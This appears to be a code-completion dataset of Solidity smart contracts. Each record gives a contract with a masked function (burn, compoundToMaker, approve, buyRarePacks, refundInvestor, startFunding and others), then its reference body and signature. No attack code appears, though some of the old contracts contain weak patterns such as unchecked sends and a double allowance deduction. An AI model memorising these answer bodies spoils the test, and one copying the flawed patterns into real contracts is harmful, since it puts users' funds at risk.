contract testmonedafinal { /* Public variables of the token */ string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; address public owner; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* Initializes contract with initial supply tokens to the creator of the contract */ function testmonedafinal( uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol ) public { owner = msg.sender; balanceOf[owner] = initialSupply; // Give the creator all initial tokens totalSupply = initialSupply; // Update total supply name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient Transfer(_from, _to, _value); } /// @notice Send `_value` tokens to `_to` from your account /// @param _to The address of the recipient /// @param _value the amount to send function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /// @notice Send `_value` tokens to `_to` in behalf of `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value the amount to send function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf /// @param _spender The address authorized to spend /// @param _value the max amount they can spend function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /// @notice Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it /// @param _spender The address authorized to spend /// @param _value the max amount they can spend /// @param _extraData some extra information to send to the approved contract function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { testmonedarecipientefinal spender = testmonedarecipientefinal(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } <FILL_FUNCTION> function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } }
require (balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true;
function burn(uint256 _value) public returns (bool success)
/// @notice Remove `_value` tokens from the system irreversibly /// @param _value the amount of money to burn function burn(uint256 _value) public returns (bool success)
69260
Bridge
compoundToMaker
contract Bridge is LiquidityProvider { /** * FOR SECURITY PURPOSE * checks if only InstaDApp contract wallets can access the bridge */ modifier isUserWallet { address userAdd = UserWalletInterface(msg.sender).owner(); address walletAdd = RegistryInterface(registry).proxies(userAdd); require(walletAdd != address(0), "not-user-wallet"); require(walletAdd == msg.sender, "not-wallet-owner"); _; } /** * @dev MakerDAO to Compound */ function makerToCompound(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet returns (uint daiAmt) { uint ethAmt; (ethAmt, daiAmt) = checkCDP(bytes32(cdpId), ethCol, daiDebt); daiAmt = wipeAndFree(cdpId, ethAmt, daiAmt); daiAmt = wmul(daiAmt, 1002000000000000000); // 0.2% fees mintCETH(ethAmt); give(cdpId, msg.sender); } /** * @dev Compound to MakerDAO */ function compoundToMaker(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet {<FILL_FUNCTION_BODY> } }
contract Bridge is LiquidityProvider { /** * FOR SECURITY PURPOSE * checks if only InstaDApp contract wallets can access the bridge */ modifier isUserWallet { address userAdd = UserWalletInterface(msg.sender).owner(); address walletAdd = RegistryInterface(registry).proxies(userAdd); require(walletAdd != address(0), "not-user-wallet"); require(walletAdd == msg.sender, "not-wallet-owner"); _; } /** * @dev MakerDAO to Compound */ function makerToCompound(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet returns (uint daiAmt) { uint ethAmt; (ethAmt, daiAmt) = checkCDP(bytes32(cdpId), ethCol, daiDebt); daiAmt = wipeAndFree(cdpId, ethAmt, daiAmt); daiAmt = wmul(daiAmt, 1002000000000000000); // 0.2% fees mintCETH(ethAmt); give(cdpId, msg.sender); } <FILL_FUNCTION> }
(uint ethAmt, uint daiAmt) = checkCompound(ethCol, daiDebt); payUserDebt(daiAmt); fetchCETH(ethAmt); redeemUnderlying(cEth, ethAmt); uint cdpNum = cdpId > 0 ? cdpId : open(); daiAmt = wmul(daiAmt, 1002000000000000000); // 0.2% fees lockAndDraw(cdpNum, ethAmt, daiAmt); if (daiAmt > 0) { assert(CDAIInterface(cDai).mint(daiAmt) == 0); } give(cdpNum, msg.sender);
function compoundToMaker(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet
/** * @dev Compound to MakerDAO */ function compoundToMaker(uint cdpId, uint ethCol, uint daiDebt) public payable isUserWallet
48795
Core
approve
contract Core is Owned { event Approval(address indexed _owner, address indexed _spender, uint256 _value); event OrderPaid(uint256 indexed _orderID, uint256 _value); string public name = "CoinMarketAlert"; string public symbol = "CMA"; uint256 public decimals = 18; mapping(uint256 => bool) public OrdersPaid; mapping(address => mapping(address => uint256)) public Allowance; function Core() public { UserBalances[msg.sender] = TotalSupply; } function _transferCheck(address _sender, address _recipient, uint256 _amount) private view returns (bool success) { require(transfer_status == true); require(_amount > 0); require(_recipient != address(0)); require(UserBalances[_sender] >= _amount); require(Sub(UserBalances[_sender], _amount) >= 0); require(Add(UserBalances[_recipient], _amount) > UserBalances[_recipient]); return true; } function payOrder(uint256 _orderID, uint256 _amount) public returns (bool status) { require(OrdersPaid[_orderID] == false); require(_transferCheck(msg.sender, collector, _amount)); UserBalances[msg.sender] = Sub(UserBalances[msg.sender], _amount); UserBalances[collector] = Add(UserBalances[collector], _amount); OrdersPaid[_orderID] = true; emit OrderPaid(_orderID, _amount); return true; } function transfer(address _receiver, uint256 _amount) public returns (bool status) { require(_transferCheck(msg.sender, _receiver, _amount)); UserBalances[msg.sender] = Sub(UserBalances[msg.sender], _amount); UserBalances[_receiver] = Add(UserBalances[_receiver], _amount); emit Transfer(msg.sender, _receiver, _amount); return true; } function transferFrom(address _owner, address _receiver, uint256 _amount) public returns (bool status) { require(_transferCheck(_owner, _receiver, _amount)); require(Sub(Allowance[_owner][msg.sender], _amount) >= 0); Allowance[_owner][msg.sender] = Sub(Allowance[_owner][msg.sender], _amount); UserBalances[_owner] = Sub(UserBalances[_owner], _amount); UserBalances[_receiver] = Add(UserBalances[_receiver], _amount); Allowance[_owner][msg.sender] = Sub(Allowance[_owner][msg.sender], _amount); emit Transfer(_owner, _receiver, _amount); return true; } function multiTransfer(address[] _destinations, uint256[] _values) public returns (uint256) { for (uint256 i = 0; i < _destinations.length; i++) { require(transfer(_destinations[i], _values[i])); } return (i); } function approve(address _spender, uint256 _amount) public returns (bool approved) {<FILL_FUNCTION_BODY> } function balanceOf(address _address) public view returns (uint256 balance) { return UserBalances[_address]; } function allowance(address _owner, address _spender) public view returns (uint256 allowed) { return Allowance[_owner][_spender]; } function totalSupply() public view returns (uint256 supply) { return TotalSupply; } }
contract Core is Owned { event Approval(address indexed _owner, address indexed _spender, uint256 _value); event OrderPaid(uint256 indexed _orderID, uint256 _value); string public name = "CoinMarketAlert"; string public symbol = "CMA"; uint256 public decimals = 18; mapping(uint256 => bool) public OrdersPaid; mapping(address => mapping(address => uint256)) public Allowance; function Core() public { UserBalances[msg.sender] = TotalSupply; } function _transferCheck(address _sender, address _recipient, uint256 _amount) private view returns (bool success) { require(transfer_status == true); require(_amount > 0); require(_recipient != address(0)); require(UserBalances[_sender] >= _amount); require(Sub(UserBalances[_sender], _amount) >= 0); require(Add(UserBalances[_recipient], _amount) > UserBalances[_recipient]); return true; } function payOrder(uint256 _orderID, uint256 _amount) public returns (bool status) { require(OrdersPaid[_orderID] == false); require(_transferCheck(msg.sender, collector, _amount)); UserBalances[msg.sender] = Sub(UserBalances[msg.sender], _amount); UserBalances[collector] = Add(UserBalances[collector], _amount); OrdersPaid[_orderID] = true; emit OrderPaid(_orderID, _amount); return true; } function transfer(address _receiver, uint256 _amount) public returns (bool status) { require(_transferCheck(msg.sender, _receiver, _amount)); UserBalances[msg.sender] = Sub(UserBalances[msg.sender], _amount); UserBalances[_receiver] = Add(UserBalances[_receiver], _amount); emit Transfer(msg.sender, _receiver, _amount); return true; } function transferFrom(address _owner, address _receiver, uint256 _amount) public returns (bool status) { require(_transferCheck(_owner, _receiver, _amount)); require(Sub(Allowance[_owner][msg.sender], _amount) >= 0); Allowance[_owner][msg.sender] = Sub(Allowance[_owner][msg.sender], _amount); UserBalances[_owner] = Sub(UserBalances[_owner], _amount); UserBalances[_receiver] = Add(UserBalances[_receiver], _amount); Allowance[_owner][msg.sender] = Sub(Allowance[_owner][msg.sender], _amount); emit Transfer(_owner, _receiver, _amount); return true; } function multiTransfer(address[] _destinations, uint256[] _values) public returns (uint256) { for (uint256 i = 0; i < _destinations.length; i++) { require(transfer(_destinations[i], _values[i])); } return (i); } <FILL_FUNCTION> function balanceOf(address _address) public view returns (uint256 balance) { return UserBalances[_address]; } function allowance(address _owner, address _spender) public view returns (uint256 allowed) { return Allowance[_owner][_spender]; } function totalSupply() public view returns (uint256 supply) { return TotalSupply; } }
require(_amount >= 0); Allowance[msg.sender][_spender] = _amount; emit Approval(msg.sender, _spender, _amount); return true;
function approve(address _spender, uint256 _amount) public returns (bool approved)
function approve(address _spender, uint256 _amount) public returns (bool approved)
35093
BurnDefiCoin
null
contract BurnDefiCoin is ERC20 { constructor(address _burner) ERC20("Burn Defi Coin", "BDC", _burner) public{<FILL_FUNCTION_BODY> } }
contract BurnDefiCoin is ERC20 { <FILL_FUNCTION> }
_mint(msg.sender, 10000 ether);
constructor(address _burner) ERC20("Burn Defi Coin", "BDC", _burner) public
constructor(address _burner) ERC20("Burn Defi Coin", "BDC", _burner) public
56504
PreSale
buyRarePacks
contract PreSale { event Buy( address indexed buyer, uint indexed packType, uint256 count ); bool public isLocked = false; address public owner; uint256 public costCommon; uint256 public costRare; uint256 public costLegendary; uint256 public boughtCommonCount = 0; uint256 public boughtRareCount = 0; uint256 public boughtLegendaryCount = 0; uint256 public limitCommon; uint256 public limitRare; uint256 public limitLegendary; mapping (address => uint) public boughtCommon; mapping (address => uint) public boughtRare; mapping (address => uint) public boughtLegendary; address[] buyersCommon; address[] buyersRare; address[] buyersLegendary; uint256 public presaleStartTimestamp; constructor( uint256 _costCommon, uint256 _limitCommon, uint256 _costRare, uint256 _limitRare, uint256 _costLegendary, uint256 _limitLegendary, uint256 _presaleStartTimestamp) { owner = msg.sender; setParams(_costCommon, _limitCommon, _costRare, _limitRare, _costLegendary, _limitLegendary, _presaleStartTimestamp); } function setLocked(bool _isLocked) public onlyOwner{ isLocked = _isLocked; } function setParams(uint256 _costCommon, uint256 _limitCommon, uint256 _costRare, uint256 _limitRare, uint256 _costLegendary, uint256 _limitLegendary, uint256 _presaleStartTimestamp) public onlyOwner { costCommon = _costCommon; costRare = _costRare; costLegendary = _costLegendary; limitCommon = _limitCommon; limitRare = _limitRare; limitLegendary = _limitLegendary; presaleStartTimestamp = _presaleStartTimestamp; } receive() external payable { require(false, 'Invalid payment value'); } function buyCommonPacks() public payable saleIsRunning { uint256 packCount = msg.value / costCommon; require(packCount * costCommon == msg.value, "Invalid payment value"); if (boughtCommon[msg.sender] == 0) { buyersCommon.push(msg.sender); } boughtCommon[msg.sender] += packCount; boughtCommonCount += packCount; require(boughtCommonCount <= limitCommon, "Not enough packs"); emit Buy(msg.sender, 1, packCount); } function buyRarePacks() public payable saleIsRunning {<FILL_FUNCTION_BODY> } function buyLegendaryPacks() public payable saleIsRunning { uint256 packCount = msg.value / costLegendary; require(packCount * costLegendary == msg.value, "Invalid payment value"); if (boughtLegendary[msg.sender] == 0) { buyersLegendary.push(msg.sender); } boughtLegendary[msg.sender] += packCount; boughtLegendaryCount += packCount; require(boughtLegendaryCount <= limitLegendary, "Not enough packs"); emit Buy(msg.sender, 3, packCount); } function getCommonResults(uint256 index) external view returns(address, uint256) { address addr = buyersCommon[index]; return (addr, boughtCommon[addr]); } function getRareResults(uint256 index) external view returns(address, uint256) { address addr = buyersRare[index]; return (addr, boughtRare[addr]); } function getLegendaryResults(uint256 index) external view returns(address, uint256) { address addr = buyersLegendary[index]; return (addr, boughtLegendary[addr]); } function collectFunds(address payable transferTo) public onlyOwner { transferTo.send(address(this).balance); } modifier onlyOwner { require( msg.sender == owner, "Only owner can call this function." ); _; } modifier saleIsRunning { require( presaleStartTimestamp <= block.timestamp && isLocked == false, "Presale is not running" ); _; } }
contract PreSale { event Buy( address indexed buyer, uint indexed packType, uint256 count ); bool public isLocked = false; address public owner; uint256 public costCommon; uint256 public costRare; uint256 public costLegendary; uint256 public boughtCommonCount = 0; uint256 public boughtRareCount = 0; uint256 public boughtLegendaryCount = 0; uint256 public limitCommon; uint256 public limitRare; uint256 public limitLegendary; mapping (address => uint) public boughtCommon; mapping (address => uint) public boughtRare; mapping (address => uint) public boughtLegendary; address[] buyersCommon; address[] buyersRare; address[] buyersLegendary; uint256 public presaleStartTimestamp; constructor( uint256 _costCommon, uint256 _limitCommon, uint256 _costRare, uint256 _limitRare, uint256 _costLegendary, uint256 _limitLegendary, uint256 _presaleStartTimestamp) { owner = msg.sender; setParams(_costCommon, _limitCommon, _costRare, _limitRare, _costLegendary, _limitLegendary, _presaleStartTimestamp); } function setLocked(bool _isLocked) public onlyOwner{ isLocked = _isLocked; } function setParams(uint256 _costCommon, uint256 _limitCommon, uint256 _costRare, uint256 _limitRare, uint256 _costLegendary, uint256 _limitLegendary, uint256 _presaleStartTimestamp) public onlyOwner { costCommon = _costCommon; costRare = _costRare; costLegendary = _costLegendary; limitCommon = _limitCommon; limitRare = _limitRare; limitLegendary = _limitLegendary; presaleStartTimestamp = _presaleStartTimestamp; } receive() external payable { require(false, 'Invalid payment value'); } function buyCommonPacks() public payable saleIsRunning { uint256 packCount = msg.value / costCommon; require(packCount * costCommon == msg.value, "Invalid payment value"); if (boughtCommon[msg.sender] == 0) { buyersCommon.push(msg.sender); } boughtCommon[msg.sender] += packCount; boughtCommonCount += packCount; require(boughtCommonCount <= limitCommon, "Not enough packs"); emit Buy(msg.sender, 1, packCount); } <FILL_FUNCTION> function buyLegendaryPacks() public payable saleIsRunning { uint256 packCount = msg.value / costLegendary; require(packCount * costLegendary == msg.value, "Invalid payment value"); if (boughtLegendary[msg.sender] == 0) { buyersLegendary.push(msg.sender); } boughtLegendary[msg.sender] += packCount; boughtLegendaryCount += packCount; require(boughtLegendaryCount <= limitLegendary, "Not enough packs"); emit Buy(msg.sender, 3, packCount); } function getCommonResults(uint256 index) external view returns(address, uint256) { address addr = buyersCommon[index]; return (addr, boughtCommon[addr]); } function getRareResults(uint256 index) external view returns(address, uint256) { address addr = buyersRare[index]; return (addr, boughtRare[addr]); } function getLegendaryResults(uint256 index) external view returns(address, uint256) { address addr = buyersLegendary[index]; return (addr, boughtLegendary[addr]); } function collectFunds(address payable transferTo) public onlyOwner { transferTo.send(address(this).balance); } modifier onlyOwner { require( msg.sender == owner, "Only owner can call this function." ); _; } modifier saleIsRunning { require( presaleStartTimestamp <= block.timestamp && isLocked == false, "Presale is not running" ); _; } }
uint256 packCount = msg.value / costRare; require(packCount * costRare == msg.value, "Invalid payment value"); if (boughtRare[msg.sender] == 0) { buyersRare.push(msg.sender); } boughtRare[msg.sender] += packCount; boughtRareCount += packCount; require(boughtRareCount <= limitRare, "Not enough packs"); emit Buy(msg.sender, 2, packCount);
function buyRarePacks() public payable saleIsRunning
function buyRarePacks() public payable saleIsRunning
21496
Treasury
refundInvestor
contract Treasury is MultiOwnable { using SafeMath for uint256; // Total amount of ether withdrawed uint256 public weiWithdrawed = 0; // Total amount of ther unlocked uint256 public weiUnlocked = 0; // Wallet withdraw is locked till end of crowdsale bool public isCrowdsaleFinished = false; // Withdrawed team funds go to this wallet address teamWallet = 0x0; // Crowdsale contract address EthearnalRepTokenCrowdsale public crowdsaleContract; EthearnalRepToken public tokenContract; bool public isRefundsEnabled = false; // Amount of ether that could be withdrawed each withdraw iteration uint256 public withdrawChunk = 0; VotingProxy public votingProxyContract; uint256 public refundsIssued = 0; uint256 public percentLeft = 0; event Deposit(uint256 amount); event Withdraw(uint256 amount); event UnlockWei(uint256 amount); event RefundedInvestor(address indexed investor, uint256 amountRefunded, uint256 tokensBurn); function Treasury(address _teamWallet) public { require(_teamWallet != 0x0); // TODO: check address integrity teamWallet = _teamWallet; } // TESTED function() public payable { require(msg.sender == address(crowdsaleContract)); Deposit(msg.value); } function setVotingProxy(address _votingProxyContract) public onlyOwner { require(votingProxyContract == address(0x0)); votingProxyContract = VotingProxy(_votingProxyContract); } // TESTED function setCrowdsaleContract(address _address) public onlyOwner { // Could be set only once require(crowdsaleContract == address(0x0)); require(_address != 0x0); crowdsaleContract = EthearnalRepTokenCrowdsale(_address); } function setTokenContract(address _address) public onlyOwner { // Could be set only once require(tokenContract == address(0x0)); require(_address != 0x0); tokenContract = EthearnalRepToken(_address); } // TESTED function setCrowdsaleFinished() public { require(crowdsaleContract != address(0x0)); require(msg.sender == address(crowdsaleContract)); withdrawChunk = getWeiRaised().div(10); weiUnlocked = withdrawChunk; isCrowdsaleFinished = true; } // TESTED function withdrawTeamFunds() public onlyOwner { require(isCrowdsaleFinished); require(weiUnlocked > weiWithdrawed); uint256 toWithdraw = weiUnlocked.sub(weiWithdrawed); weiWithdrawed = weiUnlocked; teamWallet.transfer(toWithdraw); Withdraw(toWithdraw); } function getWeiRaised() public constant returns(uint256) { return crowdsaleContract.weiRaised(); } function increaseWithdrawalChunk() { require(isCrowdsaleFinished); require(msg.sender == address(votingProxyContract)); weiUnlocked = weiUnlocked.add(withdrawChunk); UnlockWei(weiUnlocked); } function getTime() internal returns (uint256) { // Just returns `now` value // This function is redefined in EthearnalRepTokenCrowdsaleMock contract // to allow testing contract behaviour at different time moments return now; } function enableRefunds() public { require(msg.sender == address(votingProxyContract)); isRefundsEnabled = true; } function refundInvestor(uint256 _tokensToBurn) public {<FILL_FUNCTION_BODY> } function percentLeftFromTotalRaised() public constant returns(uint256) { return percent(this.balance, getWeiRaised(), 18); } function percent(uint numerator, uint denominator, uint precision) internal constant returns(uint quotient) { // caution, check safe-to-multiply here uint _numerator = numerator * 10 ** (precision+1); // with rounding of last digit uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } function claimTokens(address _token, address _to) public onlyOwner { ERC20Basic token = ERC20Basic(_token); uint256 balance = token.balanceOf(this); token.transfer(_to, balance); } }
contract Treasury is MultiOwnable { using SafeMath for uint256; // Total amount of ether withdrawed uint256 public weiWithdrawed = 0; // Total amount of ther unlocked uint256 public weiUnlocked = 0; // Wallet withdraw is locked till end of crowdsale bool public isCrowdsaleFinished = false; // Withdrawed team funds go to this wallet address teamWallet = 0x0; // Crowdsale contract address EthearnalRepTokenCrowdsale public crowdsaleContract; EthearnalRepToken public tokenContract; bool public isRefundsEnabled = false; // Amount of ether that could be withdrawed each withdraw iteration uint256 public withdrawChunk = 0; VotingProxy public votingProxyContract; uint256 public refundsIssued = 0; uint256 public percentLeft = 0; event Deposit(uint256 amount); event Withdraw(uint256 amount); event UnlockWei(uint256 amount); event RefundedInvestor(address indexed investor, uint256 amountRefunded, uint256 tokensBurn); function Treasury(address _teamWallet) public { require(_teamWallet != 0x0); // TODO: check address integrity teamWallet = _teamWallet; } // TESTED function() public payable { require(msg.sender == address(crowdsaleContract)); Deposit(msg.value); } function setVotingProxy(address _votingProxyContract) public onlyOwner { require(votingProxyContract == address(0x0)); votingProxyContract = VotingProxy(_votingProxyContract); } // TESTED function setCrowdsaleContract(address _address) public onlyOwner { // Could be set only once require(crowdsaleContract == address(0x0)); require(_address != 0x0); crowdsaleContract = EthearnalRepTokenCrowdsale(_address); } function setTokenContract(address _address) public onlyOwner { // Could be set only once require(tokenContract == address(0x0)); require(_address != 0x0); tokenContract = EthearnalRepToken(_address); } // TESTED function setCrowdsaleFinished() public { require(crowdsaleContract != address(0x0)); require(msg.sender == address(crowdsaleContract)); withdrawChunk = getWeiRaised().div(10); weiUnlocked = withdrawChunk; isCrowdsaleFinished = true; } // TESTED function withdrawTeamFunds() public onlyOwner { require(isCrowdsaleFinished); require(weiUnlocked > weiWithdrawed); uint256 toWithdraw = weiUnlocked.sub(weiWithdrawed); weiWithdrawed = weiUnlocked; teamWallet.transfer(toWithdraw); Withdraw(toWithdraw); } function getWeiRaised() public constant returns(uint256) { return crowdsaleContract.weiRaised(); } function increaseWithdrawalChunk() { require(isCrowdsaleFinished); require(msg.sender == address(votingProxyContract)); weiUnlocked = weiUnlocked.add(withdrawChunk); UnlockWei(weiUnlocked); } function getTime() internal returns (uint256) { // Just returns `now` value // This function is redefined in EthearnalRepTokenCrowdsaleMock contract // to allow testing contract behaviour at different time moments return now; } function enableRefunds() public { require(msg.sender == address(votingProxyContract)); isRefundsEnabled = true; } <FILL_FUNCTION> function percentLeftFromTotalRaised() public constant returns(uint256) { return percent(this.balance, getWeiRaised(), 18); } function percent(uint numerator, uint denominator, uint precision) internal constant returns(uint quotient) { // caution, check safe-to-multiply here uint _numerator = numerator * 10 ** (precision+1); // with rounding of last digit uint _quotient = ((_numerator / denominator) + 5) / 10; return ( _quotient); } function claimTokens(address _token, address _to) public onlyOwner { ERC20Basic token = ERC20Basic(_token); uint256 balance = token.balanceOf(this); token.transfer(_to, balance); } }
require(isRefundsEnabled); require(address(tokenContract) != address(0x0)); if (refundsIssued == 0) { percentLeft = percentLeftFromTotalRaised().mul(100*1000).div(1 ether); } uint256 tokenRate = crowdsaleContract.getTokenRateEther(); uint256 toRefund = tokenRate.mul(_tokensToBurn).div(1 ether); toRefund = toRefund.mul(percentLeft).div(100*1000); require(toRefund > 0); tokenContract.burnFrom(msg.sender, _tokensToBurn); msg.sender.transfer(toRefund); refundsIssued = refundsIssued.add(1); RefundedInvestor(msg.sender, toRefund, _tokensToBurn);
function refundInvestor(uint256 _tokensToBurn) public
function refundInvestor(uint256 _tokensToBurn) public
37127
BGGToken
startFunding
contract BGGToken is StandardToken, SafeMath { // metadata string public constant name = "BGG全球中小企业股权区块链数字资产管理基金会"; string public constant symbol = "BGG"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale; event IssueToken(address indexed _to, uint256 _value); // issue token for public sale; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal pure returns (uint256 ) { return _value * 10 ** decimals; } // constructor constructor( address _ethFundDeposit, uint256 _currentSupply) public { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(33300000); balances[msg.sender] = totalSupply; require(currentSupply <= totalSupply); } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { require(_tokenExchangeRate != 0); require(_tokenExchangeRate != tokenExchangeRate); tokenExchangeRate = _tokenExchangeRate; } ///增发代币 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require(value + currentSupply <= totalSupply); currentSupply = safeAdd(currentSupply, value); emit IncreaseSupply(value); } ///减少代币 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require(value + tokenRaised <= currentSupply); currentSupply = safeSubtract(currentSupply, value); emit DecreaseSupply(value); } ///开启 function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {<FILL_FUNCTION_BODY> } ///关闭 function stopFunding() isOwner external { require(isFunding); isFunding = false; } ///set a new contract for recieve the tokens (for update contract) function setMigrateContract(address _newContractAddr) isOwner external { require(_newContractAddr != newContractAddr); newContractAddr = _newContractAddr; } ///set a new owner. function changeOwner(address _newFundDeposit) isOwner() external { require(_newFundDeposit != address(0x0)); ethFundDeposit = _newFundDeposit; } ///sends the tokens to new contract function migrate() external { require(!isFunding); require(newContractAddr != address(0x0)); uint256 tokens = balances[msg.sender]; require(tokens != 0); balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); require(newContract.migrate(msg.sender, tokens)); emit Migrate(msg.sender, tokens); // log it } /// 转账ETH 到团队 function transferETH() isOwner external { require(address(this).balance != 0); require(ethFundDeposit.send(address(this).balance)); } /// 将token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { require(_eth != 0); require(_addr != address(0x0)); uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; emit AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () public payable { require(isFunding); require(msg.value != 0); require(block.number >= fundingStartBlock); require(block.number <= fundingStopBlock); uint256 tokens = safeMult(msg.value, tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; emit IssueToken(msg.sender, tokens); //记录日志 } }
contract BGGToken is StandardToken, SafeMath { // metadata string public constant name = "BGG全球中小企业股权区块链数字资产管理基金会"; string public constant symbol = "BGG"; uint256 public constant decimals = 18; string public version = "1.0"; // contracts address public ethFundDeposit; // ETH存放地址 address public newContractAddr; // token更新地址 // crowdsale parameters bool public isFunding; // 状态切换到true uint256 public fundingStartBlock; uint256 public fundingStopBlock; uint256 public currentSupply; // 正在售卖中的tokens数量 uint256 public tokenRaised = 0; // 总的售卖数量token uint256 public tokenMigrated = 0; // 总的已经交易的 token uint256 public tokenExchangeRate = 300; // 代币兑换比例 N代币 兑换 1 ETH // events event AllocateToken(address indexed _to, uint256 _value); // allocate token for private sale; event IssueToken(address indexed _to, uint256 _value); // issue token for public sale; event IncreaseSupply(uint256 _value); event DecreaseSupply(uint256 _value); event Migrate(address indexed _to, uint256 _value); // 转换 function formatDecimals(uint256 _value) internal pure returns (uint256 ) { return _value * 10 ** decimals; } // constructor constructor( address _ethFundDeposit, uint256 _currentSupply) public { ethFundDeposit = _ethFundDeposit; isFunding = false; //通过控制预CrowdS ale状态 fundingStartBlock = 0; fundingStopBlock = 0; currentSupply = formatDecimals(_currentSupply); totalSupply = formatDecimals(33300000); balances[msg.sender] = totalSupply; require(currentSupply <= totalSupply); } modifier isOwner() { require(msg.sender == ethFundDeposit); _; } /// 设置token汇率 function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external { require(_tokenExchangeRate != 0); require(_tokenExchangeRate != tokenExchangeRate); tokenExchangeRate = _tokenExchangeRate; } ///增发代币 function increaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require(value + currentSupply <= totalSupply); currentSupply = safeAdd(currentSupply, value); emit IncreaseSupply(value); } ///减少代币 function decreaseSupply (uint256 _value) isOwner external { uint256 value = formatDecimals(_value); require(value + tokenRaised <= currentSupply); currentSupply = safeSubtract(currentSupply, value); emit DecreaseSupply(value); } <FILL_FUNCTION> ///关闭 function stopFunding() isOwner external { require(isFunding); isFunding = false; } ///set a new contract for recieve the tokens (for update contract) function setMigrateContract(address _newContractAddr) isOwner external { require(_newContractAddr != newContractAddr); newContractAddr = _newContractAddr; } ///set a new owner. function changeOwner(address _newFundDeposit) isOwner() external { require(_newFundDeposit != address(0x0)); ethFundDeposit = _newFundDeposit; } ///sends the tokens to new contract function migrate() external { require(!isFunding); require(newContractAddr != address(0x0)); uint256 tokens = balances[msg.sender]; require(tokens != 0); balances[msg.sender] = 0; tokenMigrated = safeAdd(tokenMigrated, tokens); IMigrationContract newContract = IMigrationContract(newContractAddr); require(newContract.migrate(msg.sender, tokens)); emit Migrate(msg.sender, tokens); // log it } /// 转账ETH 到团队 function transferETH() isOwner external { require(address(this).balance != 0); require(ethFundDeposit.send(address(this).balance)); } /// 将token分配到预处理地址。 function allocateToken (address _addr, uint256 _eth) isOwner external { require(_eth != 0); require(_addr != address(0x0)); uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = safeAdd(tokenRaised, tokens); balances[_addr] += tokens; emit AllocateToken(_addr, tokens); // 记录token日志 } /// 购买token function () public payable { require(isFunding); require(msg.value != 0); require(block.number >= fundingStartBlock); require(block.number <= fundingStopBlock); uint256 tokens = safeMult(msg.value, tokenExchangeRate); require(tokens + tokenRaised <= currentSupply); tokenRaised = safeAdd(tokenRaised, tokens); balances[msg.sender] += tokens; emit IssueToken(msg.sender, tokens); //记录日志 } }
